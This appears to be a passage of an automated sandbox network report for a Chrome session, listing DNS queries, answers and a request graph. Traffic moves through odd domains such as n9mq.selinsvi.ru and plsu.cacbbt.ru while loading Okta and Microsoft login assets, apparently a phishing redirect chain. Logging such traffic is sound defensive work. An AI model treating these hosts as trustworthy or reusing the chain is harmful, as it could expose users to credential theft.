Aug 23, 2024 16:21:34.319566965 CEST	192.168.2.16	1.1.1.1	0x41b2	Standard query (0)	n9mq.selinsvi.ru	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:34.319788933 CEST	192.168.2.16	1.1.1.1	0x46a3	Standard query (0)	n9mq.selinsvi.ru	65	IN (0x0001)	false
Aug 23, 2024 16:21:35.010071039 CEST	192.168.2.16	1.1.1.1	0x6a7f	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.010266066 CEST	192.168.2.16	1.1.1.1	0xc36f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:35.427402973 CEST	192.168.2.16	1.1.1.1	0x1ec1	Standard query (0)	n9mq.selinsvi.ru	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.427582979 CEST	192.168.2.16	1.1.1.1	0xbe9a	Standard query (0)	n9mq.selinsvi.ru	65	IN (0x0001)	false
Aug 23, 2024 16:21:35.427891016 CEST	192.168.2.16	1.1.1.1	0xb719	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.428212881 CEST	192.168.2.16	1.1.1.1	0xddf6	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:35.428688049 CEST	192.168.2.16	1.1.1.1	0x107d	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.428821087 CEST	192.168.2.16	1.1.1.1	0x5a8	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:35.429104090 CEST	192.168.2.16	1.1.1.1	0xff6b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.429220915 CEST	192.168.2.16	1.1.1.1	0xb96f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:36.245641947 CEST	192.168.2.16	1.1.1.1	0x8b7c	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.245799065 CEST	192.168.2.16	1.1.1.1	0x50a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:36.246089935 CEST	192.168.2.16	1.1.1.1	0x8812	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.246212006 CEST	192.168.2.16	1.1.1.1	0xb4ce	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:36.823556900 CEST	192.168.2.16	1.1.1.1	0x9b0e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.823756933 CEST	192.168.2.16	1.1.1.1	0x8bb0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:50.151669979 CEST	192.168.2.16	1.1.1.1	0xd70c	Standard query (0)	4quqe.oustfemin.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:50.151823044 CEST	192.168.2.16	1.1.1.1	0x2703	Standard query (0)	4quqe.oustfemin.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:53.078418016 CEST	192.168.2.16	1.1.1.1	0xcae	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.078562021 CEST	192.168.2.16	1.1.1.1	0x225f	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Aug 23, 2024 16:21:53.078931093 CEST	192.168.2.16	1.1.1.1	0xe32d	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.079396009 CEST	192.168.2.16	1.1.1.1	0xa183	Standard query (0)	github.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:53.080250978 CEST	192.168.2.16	1.1.1.1	0x2426	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.080416918 CEST	192.168.2.16	1.1.1.1	0x9a47	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:53.083059072 CEST	192.168.2.16	1.1.1.1	0x781c	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.083179951 CEST	192.168.2.16	1.1.1.1	0x2b38	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:54.044071913 CEST	192.168.2.16	1.1.1.1	0x471e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.044246912 CEST	192.168.2.16	1.1.1.1	0xc4b6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:54.145684004 CEST	192.168.2.16	1.1.1.1	0xd988	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.145982027 CEST	192.168.2.16	1.1.1.1	0x37ca	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Aug 23, 2024 16:21:54.150325060 CEST	192.168.2.16	1.1.1.1	0x8d2f	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.150551081 CEST	192.168.2.16	1.1.1.1	0xf2d	Standard query (0)	objects.githubusercontent.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:55.060192108 CEST	192.168.2.16	1.1.1.1	0xe09a	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:55.060430050 CEST	192.168.2.16	1.1.1.1	0x2503	Standard query (0)	objects.githubusercontent.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:56.050451994 CEST	192.168.2.16	1.1.1.1	0x45e7	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:56.050614119 CEST	192.168.2.16	1.1.1.1	0xb0ee	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:57.095376968 CEST	192.168.2.16	1.1.1.1	0xdbc8	Standard query (0)	get.geojs.io	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.095518112 CEST	192.168.2.16	1.1.1.1	0x4f89	Standard query (0)	get.geojs.io	65	IN (0x0001)	false
Aug 23, 2024 16:21:57.793051958 CEST	192.168.2.16	1.1.1.1	0x5a34	Standard query (0)	get.geojs.io	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.793209076 CEST	192.168.2.16	1.1.1.1	0xf443	Standard query (0)	get.geojs.io	65	IN (0x0001)	false
Aug 23, 2024 16:21:57.794923067 CEST	192.168.2.16	1.1.1.1	0x8ede	Standard query (0)	plsu.cacbbt.ru	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.795073032 CEST	192.168.2.16	1.1.1.1	0xf9a9	Standard query (0)	plsu.cacbbt.ru	65	IN (0x0001)	false
Aug 23, 2024 16:21:59.303255081 CEST	192.168.2.16	1.1.1.1	0xc4e8	Standard query (0)	plsu.cacbbt.ru	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:59.303397894 CEST	192.168.2.16	1.1.1.1	0xcd59	Standard query (0)	plsu.cacbbt.ru	65	IN (0x0001)	false
Aug 23, 2024 16:21:59.309500933 CEST	192.168.2.16	1.1.1.1	0xd570	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:59.309634924 CEST	192.168.2.16	1.1.1.1	0xa04f	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Aug 23, 2024 16:22:00.483028889 CEST	192.168.2.16	1.1.1.1	0xc4d6	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:22:00.483170986 CEST	192.168.2.16	1.1.1.1	0x8521	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Aug 23, 2024 16:22:35.022449970 CEST	192.168.2.16	1.1.1.1	0x23cd	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:22:35.022612095 CEST	192.168.2.16	1.1.1.1	0x6e0	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 23, 2024 16:21:08.345228910 CEST	1.1.1.1	192.168.2.16	0x7362	No error (0)	app.supercast.com		44.237.212.8	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:08.345228910 CEST	1.1.1.1	192.168.2.16	0x7362	No error (0)	app.supercast.com		44.226.215.226	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:09.647373915 CEST	1.1.1.1	192.168.2.16	0x99b6	No error (0)	nursematte.com		162.241.24.35	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:11.028564930 CEST	1.1.1.1	192.168.2.16	0x4145	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:11.028577089 CEST	1.1.1.1	192.168.2.16	0x509e	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:11.028577089 CEST	1.1.1.1	192.168.2.16	0x509e	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.672445059 CEST	1.1.1.1	192.168.2.16	0xbb87	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.672445059 CEST	1.1.1.1	192.168.2.16	0xbb87	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.676100969 CEST	1.1.1.1	192.168.2.16	0xfd32	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:12.678388119 CEST	1.1.1.1	192.168.2.16	0xd683	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.678388119 CEST	1.1.1.1	192.168.2.16	0xd683	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.681773901 CEST	1.1.1.1	192.168.2.16	0x8d4e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:13.126992941 CEST	1.1.1.1	192.168.2.16	0x3f85	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:13.127388000 CEST	1.1.1.1	192.168.2.16	0xb35	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:15.012864113 CEST	1.1.1.1	192.168.2.16	0x46a9	No error (0)	nursematte.com		162.241.24.35	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:31.437694073 CEST	1.1.1.1	192.168.2.16	0x3189	No error (0)	job555.info		202.172.26.4	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:33.046760082 CEST	1.1.1.1	192.168.2.16	0x9db2	No error (0)	4quqe.oustfemin.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:33.046760082 CEST	1.1.1.1	192.168.2.16	0x9db2	No error (0)	4quqe.oustfemin.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:33.050997972 CEST	1.1.1.1	192.168.2.16	0xdf45	No error (0)	4quqe.oustfemin.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:34.331670046 CEST	1.1.1.1	192.168.2.16	0x46a3	No error (0)	n9mq.selinsvi.ru			65	IN (0x0001)	false
Aug 23, 2024 16:21:34.517482042 CEST	1.1.1.1	192.168.2.16	0x41b2	No error (0)	n9mq.selinsvi.ru		172.67.137.224	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:34.517482042 CEST	1.1.1.1	192.168.2.16	0x41b2	No error (0)	n9mq.selinsvi.ru		104.21.78.226	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.018923998 CEST	1.1.1.1	192.168.2.16	0x6a7f	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.435861111 CEST	1.1.1.1	192.168.2.16	0xb719	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.435861111 CEST	1.1.1.1	192.168.2.16	0xb719	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.435861111 CEST	1.1.1.1	192.168.2.16	0xb719	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.435861111 CEST	1.1.1.1	192.168.2.16	0xb719	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.436656952 CEST	1.1.1.1	192.168.2.16	0x107d	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.436656952 CEST	1.1.1.1	192.168.2.16	0x107d	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.437066078 CEST	1.1.1.1	192.168.2.16	0x5a8	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:35.437076092 CEST	1.1.1.1	192.168.2.16	0xff6b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.437076092 CEST	1.1.1.1	192.168.2.16	0xff6b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.437177896 CEST	1.1.1.1	192.168.2.16	0xb96f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:35.441221952 CEST	1.1.1.1	192.168.2.16	0x1ec1	No error (0)	n9mq.selinsvi.ru		104.21.78.226	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.441221952 CEST	1.1.1.1	192.168.2.16	0x1ec1	No error (0)	n9mq.selinsvi.ru		172.67.137.224	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:35.481753111 CEST	1.1.1.1	192.168.2.16	0xbe9a	No error (0)	n9mq.selinsvi.ru			65	IN (0x0001)	false
Aug 23, 2024 16:21:36.254601955 CEST	1.1.1.1	192.168.2.16	0x8812	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.254601955 CEST	1.1.1.1	192.168.2.16	0x8812	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.254914045 CEST	1.1.1.1	192.168.2.16	0xb4ce	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:36.255367041 CEST	1.1.1.1	192.168.2.16	0x8b7c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.255367041 CEST	1.1.1.1	192.168.2.16	0x8b7c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.255367041 CEST	1.1.1.1	192.168.2.16	0x8b7c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.255367041 CEST	1.1.1.1	192.168.2.16	0x8b7c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.834140062 CEST	1.1.1.1	192.168.2.16	0x9b0e	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.834140062 CEST	1.1.1.1	192.168.2.16	0x9b0e	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:36.836169958 CEST	1.1.1.1	192.168.2.16	0x8bb0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:50.174649954 CEST	1.1.1.1	192.168.2.16	0x2703	No error (0)	4quqe.oustfemin.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:50.190594912 CEST	1.1.1.1	192.168.2.16	0xd70c	No error (0)	4quqe.oustfemin.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:50.190594912 CEST	1.1.1.1	192.168.2.16	0xd70c	No error (0)	4quqe.oustfemin.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.087373018 CEST	1.1.1.1	192.168.2.16	0x225f	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:53.087513924 CEST	1.1.1.1	192.168.2.16	0xe32d	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.088327885 CEST	1.1.1.1	192.168.2.16	0x2426	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.088337898 CEST	1.1.1.1	192.168.2.16	0x9a47	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:53.103107929 CEST	1.1.1.1	192.168.2.16	0x2b38	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:53.105355978 CEST	1.1.1.1	192.168.2.16	0xcae	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:53.105355978 CEST	1.1.1.1	192.168.2.16	0xcae	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.11	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.105355978 CEST	1.1.1.1	192.168.2.16	0xcae	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.97	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.105355978 CEST	1.1.1.1	192.168.2.16	0xcae	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.47	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.105355978 CEST	1.1.1.1	192.168.2.16	0xcae	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.40	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.112152100 CEST	1.1.1.1	192.168.2.16	0x781c	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:53.112152100 CEST	1.1.1.1	192.168.2.16	0x781c	No error (0)	d19d360lklgih4.cloudfront.net		65.9.86.83	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.112152100 CEST	1.1.1.1	192.168.2.16	0x781c	No error (0)	d19d360lklgih4.cloudfront.net		65.9.86.22	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.112152100 CEST	1.1.1.1	192.168.2.16	0x781c	No error (0)	d19d360lklgih4.cloudfront.net		65.9.86.56	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:53.112152100 CEST	1.1.1.1	192.168.2.16	0x781c	No error (0)	d19d360lklgih4.cloudfront.net		65.9.86.73	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.052716017 CEST	1.1.1.1	192.168.2.16	0x471e	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.052728891 CEST	1.1.1.1	192.168.2.16	0xc4b6	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 23, 2024 16:21:54.156521082 CEST	1.1.1.1	192.168.2.16	0x37ca	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157465935 CEST	1.1.1.1	192.168.2.16	0x8d2f	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157465935 CEST	1.1.1.1	192.168.2.16	0x8d2f	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157465935 CEST	1.1.1.1	192.168.2.16	0x8d2f	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157465935 CEST	1.1.1.1	192.168.2.16	0x8d2f	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157865047 CEST	1.1.1.1	192.168.2.16	0xd988	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157865047 CEST	1.1.1.1	192.168.2.16	0xd988	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157865047 CEST	1.1.1.1	192.168.2.16	0xd988	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157865047 CEST	1.1.1.1	192.168.2.16	0xd988	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:54.157865047 CEST	1.1.1.1	192.168.2.16	0xd988	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:55.068236113 CEST	1.1.1.1	192.168.2.16	0xe09a	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:55.068236113 CEST	1.1.1.1	192.168.2.16	0xe09a	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:55.068236113 CEST	1.1.1.1	192.168.2.16	0xe09a	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:55.068236113 CEST	1.1.1.1	192.168.2.16	0xe09a	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:56.064313889 CEST	1.1.1.1	192.168.2.16	0x45e7	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:56.064313889 CEST	1.1.1.1	192.168.2.16	0x45e7	No error (0)	d19d360lklgih4.cloudfront.net		3.161.119.78	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:56.064313889 CEST	1.1.1.1	192.168.2.16	0x45e7	No error (0)	d19d360lklgih4.cloudfront.net		3.161.119.119	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:56.064313889 CEST	1.1.1.1	192.168.2.16	0x45e7	No error (0)	d19d360lklgih4.cloudfront.net		3.161.119.34	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:56.064313889 CEST	1.1.1.1	192.168.2.16	0x45e7	No error (0)	d19d360lklgih4.cloudfront.net		3.161.119.122	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:56.073631048 CEST	1.1.1.1	192.168.2.16	0xb0ee	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:57.104187012 CEST	1.1.1.1	192.168.2.16	0xdbc8	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.104187012 CEST	1.1.1.1	192.168.2.16	0xdbc8	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.104187012 CEST	1.1.1.1	192.168.2.16	0xdbc8	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.110526085 CEST	1.1.1.1	192.168.2.16	0x4f89	No error (0)	get.geojs.io			65	IN (0x0001)	false
Aug 23, 2024 16:21:57.801472902 CEST	1.1.1.1	192.168.2.16	0x5a34	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.801472902 CEST	1.1.1.1	192.168.2.16	0x5a34	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.801472902 CEST	1.1.1.1	192.168.2.16	0x5a34	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.802084923 CEST	1.1.1.1	192.168.2.16	0xf443	No error (0)	get.geojs.io			65	IN (0x0001)	false
Aug 23, 2024 16:21:57.918042898 CEST	1.1.1.1	192.168.2.16	0x8ede	No error (0)	plsu.cacbbt.ru		172.67.151.50	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:57.918042898 CEST	1.1.1.1	192.168.2.16	0x8ede	No error (0)	plsu.cacbbt.ru		104.21.64.135	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:58.003125906 CEST	1.1.1.1	192.168.2.16	0xf9a9	No error (0)	plsu.cacbbt.ru			65	IN (0x0001)	false
Aug 23, 2024 16:21:59.317913055 CEST	1.1.1.1	192.168.2.16	0xd570	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:59.317913055 CEST	1.1.1.1	192.168.2.16	0xd570	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:59.317913055 CEST	1.1.1.1	192.168.2.16	0xd570	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:59.318126917 CEST	1.1.1.1	192.168.2.16	0xa04f	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:59.318126917 CEST	1.1.1.1	192.168.2.16	0xa04f	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:21:59.439177036 CEST	1.1.1.1	192.168.2.16	0xcd59	No error (0)	plsu.cacbbt.ru			65	IN (0x0001)	false
Aug 23, 2024 16:21:59.575700998 CEST	1.1.1.1	192.168.2.16	0xc4e8	No error (0)	plsu.cacbbt.ru		104.21.64.135	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:59.575700998 CEST	1.1.1.1	192.168.2.16	0xc4e8	No error (0)	plsu.cacbbt.ru		172.67.151.50	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:22:00.495160103 CEST	1.1.1.1	192.168.2.16	0xc4d6	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:22:00.495160103 CEST	1.1.1.1	192.168.2.16	0xc4d6	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:22:00.495160103 CEST	1.1.1.1	192.168.2.16	0xc4d6	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:22:00.495172977 CEST	1.1.1.1	192.168.2.16	0x8521	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:22:00.495172977 CEST	1.1.1.1	192.168.2.16	0x8521	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2024 16:22:35.034693956 CEST	1.1.1.1	192.168.2.16	0x23cd	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

app.supercast.com

nursematte.com

https:

challenges.cloudflare.com

job555.info

4quqe.oustfemin.com

n9mq.selinsvi.ru

cdnjs.cloudflare.com

code.jquery.com

www.google.com

github.com

cdn.socket.io

ok4static.oktacdn.com

objects.githubusercontent.com

get.geojs.io

plsu.cacbbt.ru

aadcdn.msauthimages.net

fs.microsoft.com

slscr.update.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49697	44.237.212.8	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
